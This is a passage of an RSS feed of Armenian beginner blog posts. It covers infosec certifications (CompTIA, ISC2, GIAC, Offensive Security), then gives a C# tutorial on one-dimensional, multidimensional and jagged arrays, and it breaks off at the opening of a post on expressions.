&lt;li&gt;Ընդհանուր (կոնկրետ արտադրողի հետ չկպաված) հավաստագրեր (&lt;em&gt;vendor-neutral&lt;/em&gt;), որոնք ստուգում են ընդհանրական սկզբունքների և մարտավարության իմացություն։&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Թվարկենք մի քանի &lt;em&gt;vendor-neutral&lt;/em&gt; հավաստագրերի հեղինակ կազմակերպություններ և դրանց առավել հայտնի հավաստագրերը՝&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;a href="https://www.comptia.org/"&gt;CompTIA&lt;/a&gt; հավաստագրեր՝
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;CompTIA Security+՝ ստուգում է ՏԱ ոլորտի մասին ընդհանուր իմացություն, նախատեսված է ոլորտի սկսնակների համար,&lt;/li&gt;
&lt;li&gt;CompTIA PenTest+՝ կենտրոնանում է ներթափանցման փորձարկման վրա։&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;a href="https://www.isc2.org/"&gt;(ISC)2&lt;/a&gt; հավաստագրեր՝
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;(ISC)2 CISSP (Certified Information Systems Security Professional)՝ փաստում է տեղեկատվական համակարգերի անվտանգության բարձր մակարդակի գիտելիքենրի մասին։ Նախատեսված է արդեն իսկ փորձառու մասնագետների համար, ովքեր ձգտում են ՏԱ գծով գործադիր պաշտոնի,&lt;/li&gt;
&lt;li&gt;(ISC)2 CSSLP (Certified Secure Software Lifecycle Professional)` կենտրոնանում է ծրագրային անվտանգության վրա։&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;a href="https://www.giac.org/"&gt;GIAC&lt;/a&gt; հավաստագրեր՝
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;GIAC Secure Software Programmer - .NET՝ կենտրոնանում է .NET հարթակի վրա անվտանգ ծրագրերի մշակման վրա, այս հավաստագիրն ունի նաև Java լեզվի համար նախատեսված տարբերակ&lt;/li&gt;
&lt;li&gt;GIAC Web Application Penetration Tester՝ նախատեսված է վեբ հավելվածների ներթափանցման փորձարկման և խոցելիությունից պաշտպանվելու գիտելիքների ստուգման համար&lt;/li&gt;
&lt;li&gt;GIAC Security Expert՝ տվյալ կազմակերպության կողմից առաջարկվող ամենահեղինակավոր և ամենաբարդ որակավորումը։ GSE-ն և վերոնշյալ CISSP-ն համարվում են ոլորտի առաջատար որակավորումներ&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;a href="https://www.offensive-security.com/"&gt;Offensive Security&lt;/a&gt; հավաստագրեր՝
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Offensive Security Certified Professional&lt;/li&gt;
&lt;li&gt;Offensive Security Certified Expert&lt;/li&gt;
&lt;li&gt;Offensive Security Exploitation Expert&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Ամփոփում
&lt;/h3&gt;

&lt;p&gt;Քանի որ ինքս դեռ բացահայտում եմ ՏԱ ոլորտը, այս գրառման մեջ հավաքագրել եմ դրա մասին կազմած իմ նախնական պատկերացումները՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ՏԱ նշանակությունը,&lt;/li&gt;
&lt;li&gt;ծրագրավորման իմացության անհրաժեշտությունը,&lt;/li&gt;
&lt;li&gt;ոլորտի ճյուղերը,&lt;/li&gt;
&lt;li&gt;շուկայում հեղինակություն վայելող մասնագիտական որակավորումները։&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Մոտ ապագայում պլանավորում եմ կենտրոնանալ ծրագրային անվտանգության վրա (մասնավորապես C#/.NET տեխնոլոգիաների օգտագործմամբ), ինչի մասին կպատմեմ հետագա գրառումներում։&lt;/p&gt;

</description>
      <category>security</category>
      <category>career</category>
      <category>armenian</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Սովորում ենք C# | Զանգվածներ</title>
      <dc:creator>Narek Babajanyan</dc:creator>
      <pubDate>Sat, 21 Mar 2020 20:01:58 +0000</pubDate>
      <link>https://forem.com/narek_babajanyan/c-nf6</link>
      <guid>https://forem.com/narek_babajanyan/c-nf6</guid>
      <description>&lt;p&gt;Նախկինում ուսումնասիրել ենք C#-ում տվյալների պահպանման համար նախատեսված գործիքակազմը՝ ի դեմս պարզագույն տիպերի փոփոխականների։ Այժմ ժամանակն է ծանոթանալ ինֆորմատիկայի մեջ լայն կիրառություն ունեցող մեկ այլ գործիքի՝ զանգվածների։ &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Զանգվածն&lt;/strong&gt; (&lt;em&gt;array&lt;/em&gt;) իրենից ներկայացնում է նույն անվան տակ խմբավորված փոփոխականների հավաքածու։ Այն հնարավորություն է տալիս հիշողության մեջ պահել նույն տիպի ցանկացած քանակի փոփոխական՝ դրանք հասցեավորելով հերթական համարներով։&lt;/p&gt;

&lt;p&gt;Եթե մեզ հարկավոր է պահել տասը անուն, հնարավոր է հայտարարել տասը արանձին փոփոխական և դրանց տալ համապատասխան արժեքներ՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;str1&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Alpha"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Bravo"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Charlie"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;str4&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Delta"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// և այլն․․․&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Սակայն այս մեթոդն այնքան էլ արդյունավետ չէ՝ որոշ դեպքերում մեզ կարող են պետք գալ շատ մեծ թվով կամ նույնիսկ անհայտ քանակով փոփոխականներ։ Զանգվածների կիրառմամբ նույն խնդրի լուծումը կունենա հետևյալ տեսքը՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;
&lt;span class="c1"&gt;// Զանգվածի հայտարարումը նման է փոփոխականի հայտարարմանը&lt;/span&gt;
&lt;span class="c1"&gt;// Ավելացվում է միայն [] փակագծերի զույգը&lt;/span&gt;
&lt;span class="c1"&gt;// int number   - Integer տիպի մեկ փոփոխական&lt;/span&gt;
&lt;span class="c1"&gt;// int number[] - Integer տիպի փոփոխականների զանգված&lt;/span&gt;


&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;words&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"Alpha"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Bravo"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Charlie"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Delta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Echo"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;// և այլն․․․&lt;/span&gt;

&lt;span class="c1"&gt;// Զանգվածի կոնկրետ փոփոխական կարդալու կամ փոփոխելու համար &lt;/span&gt;
&lt;span class="c1"&gt;// օգտագործվում է դրա հերթական համարը (index)&lt;/span&gt;
&lt;span class="c1"&gt;// Հերթական համարները ինֆորմատիկայում սովորաբար սկսվում են 0֊ից&lt;/span&gt;

&lt;span class="n"&gt;words&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;// Alpha&lt;/span&gt;
&lt;span class="n"&gt;words&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;// Bravo&lt;/span&gt;
&lt;span class="n"&gt;words&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"New name"&lt;/span&gt;
&lt;span class="c1"&gt;// words[] = {"Alpha", "Bravo", "New Name", "Delta", "Echo"}&lt;/span&gt;

&lt;span class="n"&gt;words&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;words&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="c1"&gt;// words[] = {"Alpha", "Bravo", "New Name", "New Name", "Echo"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Զանգված հայտարարելիս ձևավոր փակագծերի ներսում արժեքների նշումը կոչվում է զանգվածի &lt;strong&gt;սկզբնական արժեվորում&lt;/strong&gt; (&lt;em&gt;initialization&lt;/em&gt;)։ Եթե մեզ դեռևս հայտնի չեն սկզբնական արժեքները, կարելի է փոխարենը զանգվածը հայտարարել միայն տիպը և չափը նշելով։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;100&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Զանգվածը կարելի է հայտարարել նաև նշելով և՛ երկարությունը, և՛ տարրերը։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Կոնկրետ չափով զանգված ստեղծելիս հարկավոր է հաշվի առնել, որ քանակը հաշվվում է 1-ից, իսկ հերթական համարները՝ 0-ից։ Այսինքն, &lt;code&gt;int numbers[] = new int[10];&lt;/code&gt; հրամանով ստեղծված զանգվածը սկսվում է &lt;code&gt;numbers[0]&lt;/code&gt;-ից և ավարտվում &lt;code&gt;numbers[9]&lt;/code&gt;-ով (տարրերի ընդհանուր քանակը՝ 10)։ &lt;/p&gt;

&lt;p&gt;Զանգվածի սահմաններից դուրս գտնվող հերթական համար օգտագործելու դեպքում ծրագիրը կհանգի &lt;code&gt;IndexOutOfRangeException&lt;/code&gt; կոչվող սխալի (Exception-ներին և դրանց տեսակներին կանդրադառնանք ավելի ուշ)։&lt;/p&gt;

&lt;h3&gt;
  
  
  Բազմաչափ զանգվածներ
&lt;/h3&gt;

&lt;p&gt;Որոշ խնդիրների լուծման ժամանակ անհրաժեշտ է լինում օգտվել հերթական համարներով տվյալներ հայթայթելու և պահպանելու հարմարությունից, սակայն մեկ չափանի զանգվածները չեն բավականացնում։ Այս պարագայում օգտագործվում են &lt;strong&gt;բազմաչափ զանգվածներ&lt;/strong&gt; (&lt;em&gt;multi-dimensional array&lt;/em&gt;)։&lt;/p&gt;

&lt;p&gt;Նման խնդրի օրինակ կարող է հանդիսանալ շախմատի տախտակի մոդելավորումը ծրագրի մեջ՝ 64 առանձին փոփոխական հայտարարելն ընդհանրապես էֆեկտիվ չէ, 8 տարր պարունակող 8 տարբեր զանգված հայտարարելը նույնպես։ Փոխարենը կարող ենք օգտագործել երկչափանի զանգված՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Բազմաչափ զանգված հայտարարելիս քառակուսի փակագծերում ներառվում է ստորակետ&lt;/span&gt;
&lt;span class="c1"&gt;// Ստորակետների քանակը մեկով պակաս է զանգվածի չափումների քանակից&lt;/span&gt;
&lt;span class="c1"&gt;// string[]   - 1D array&lt;/span&gt;
&lt;span class="c1"&gt;// string[,]  - 2D array&lt;/span&gt;
&lt;span class="c1"&gt;// string[,,] - 3D array&lt;/span&gt;

&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;board&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"HOOK"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"KNIGHT"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"BISHOP"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Հարկ է նշել, որ բազմաչափ զանգվածները լինում են երկու տեսակի՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ուղղանկյուն զանգվածներ (&lt;em&gt;rectangular array&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Անհարթ զանգվածներ (&lt;em&gt;jagged array&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Այս տեսակների տարբերությունը կայանում է հետևյալում, ուղղանկյունաձև զանգվածի շարքերը պարունակում են հավասար թվով տարրեր, մինչդեռ անհարթ զանգվածն իրենից ներկայացնում է զանգվածներով լի զանգված (այսինքն, զանգված, որի տարրերը նույնպես զանգվածներ են)։ Ընդ որում, ամեն շարք ներկայացնող զանգվածները կարող են ունենալ տարբեր թվով տարրեր։&lt;/p&gt;

&lt;p&gt;Կախված տեսակից, փոխվում է հայտարարման գրելաձևը՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[,]&lt;/span&gt; &lt;span class="n"&gt;rectNumbers&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;     &lt;span class="c1"&gt;// Ուղղանկյունաձև&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[][]&lt;/span&gt; &lt;span class="n"&gt;jaggedNumbers&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// Անհարթ&lt;/span&gt;

&lt;span class="c1"&gt;// Անհարթ զանգված հայտարարելիս հնարավոր է դատարկ թողնել երկրորդ չափման երկարությունը&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="p"&gt;[][]&lt;/span&gt; &lt;span class="n"&gt;newJaggedArray&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;][];&lt;/span&gt;
&lt;span class="n"&gt;newJaggedArray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;newJaggedArray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;newJaggedArray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;newJaggedArray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="cm"&gt;/* Մեր անհարթ զանգվածն ունի հետևյալ տեսքը (X-ով նշված են int տիպի տարրերը)
X
X X X X X
X X X
X X X X
*/&lt;/span&gt;

&lt;span class="c1"&gt;// Անհարթ եռաչափ զանգված ստանալու համար հնարավոր է համատեղել անհարթ և ուղղանկյուն զանգվածներ&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="p"&gt;[][,]&lt;/span&gt; &lt;span class="m"&gt;3d&lt;/span&gt;&lt;span class="n"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;][,]&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[,]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[,]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="m"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;133&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[,]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="m"&gt;90&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Զանգվածների հիմնական հատկություններից մեզ հաճախ հետարքրքում է նրա երկարությունը (տարողունակությունը), որը պահվում է զանգվածի &lt;code&gt;Length&lt;/code&gt; դաշտում (թե ինչ է օբյեկտի դաշտը, կտեսնենք օբյեկտ-կողմնորոշված ծրագրավորում և կլասսներ ուսումնասիրելիս)։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="c1"&gt;// numbers.Length արտահայտությունը կվերադարձնի 5&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[,]&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="c1"&gt;// numbers.Length-ը կվերադարձնի 12&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Ամփոփում
&lt;/h3&gt;

&lt;p&gt;Այս անգամ ծանոթացանք զանգվածների հետ։ &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Հասկացանք դրանց կիրառությունը&lt;/li&gt;
&lt;li&gt;Աշխատեցինք միաչափ և բազմաչափ զանգվածների հետ&lt;/li&gt;
&lt;li&gt;Սովորեցինք դրանց հայտարարման և սկզբնական արժեվորման հնարավոր գրելաձևերը&lt;/li&gt;
&lt;li&gt;Հասկացանք բազմաչափ զանգվածների տեսակները և դրանց տարբերությունը&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>csharp</category>
      <category>dotnet</category>
      <category>beginners</category>
      <category>armenian</category>
    </item>
    <item>
      <title>Սովորում ենք C# | Հրամաններ և դրանց կատարման կարգ</title>
      <dc:creator>Narek Babajanyan</dc:creator>
      <pubDate>Wed, 18 Mar 2020 19:23:50 +0000</pubDate>
      <link>https://forem.com/narek_babajanyan/c-e0d</link>
      <guid>https://forem.com/narek_babajanyan/c-e0d</guid>
      <description>&lt;p&gt;&lt;a href="https://dev.to/n_babajanyan/c-10g5"&gt;Նախորդ գրառման&lt;/a&gt; մեջ ծանոթացանք փոփոխականներին և օպերատորներին, թվարկեցինք տվյալների պահպանմանն ու փոփոխմանն ուղղված պարզագույն գործողություններից մի քանիսին։ Այժմ կուսումնասիրենք &lt;strong&gt;արտահայտությունների&lt;/strong&gt; (&lt;em&gt;expression&lt;/em&gt;) և &lt;strong&gt;հրամանների&lt;/strong&gt; (&lt;em&gt;statement&lt;/em&gt;) միջոցով այդպիսի գործողությունների կատարումը և դրանց համադրմամբ առավել ֆունկցիոնալ ծրագրերի կառուցումը։ &lt;/p&gt;

&lt;h3&gt;
  
  
  Արտահայտություններ (Expressions)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Արտահայտություն&lt;/strong&gt; է կոչվում փոփոխականների, ֆիքսված արժեքների (&lt;strong&gt;literal&lt;/strong&gt;) և օպերատորների այնպիսի համադրությունը, որը վերադարձնում է արժեք։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Ֆիքսված արժեքն ինքն իրենով արտահայտություն է &lt;/span&gt;
&lt;span class="m"&gt;13&lt;/span&gt;

&lt;span class="c1"&gt;// Օպերատորն իր օպերանդ(ներ)ի հետ միասին նույնպես կազմում է արտահայտություն&lt;/span&gt;
&lt;span class="m"&gt;13&lt;/span&gt;&lt;span class="p"&gt;++&lt;/span&gt; 
&lt;span class="k"&gt;true&lt;/span&gt; &lt;span class="p"&gt;||&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt; 

&lt;span class="c1"&gt;// Կարելի է օգտագործել արտահայտությունների բարդ համադրություններ&lt;/span&gt;
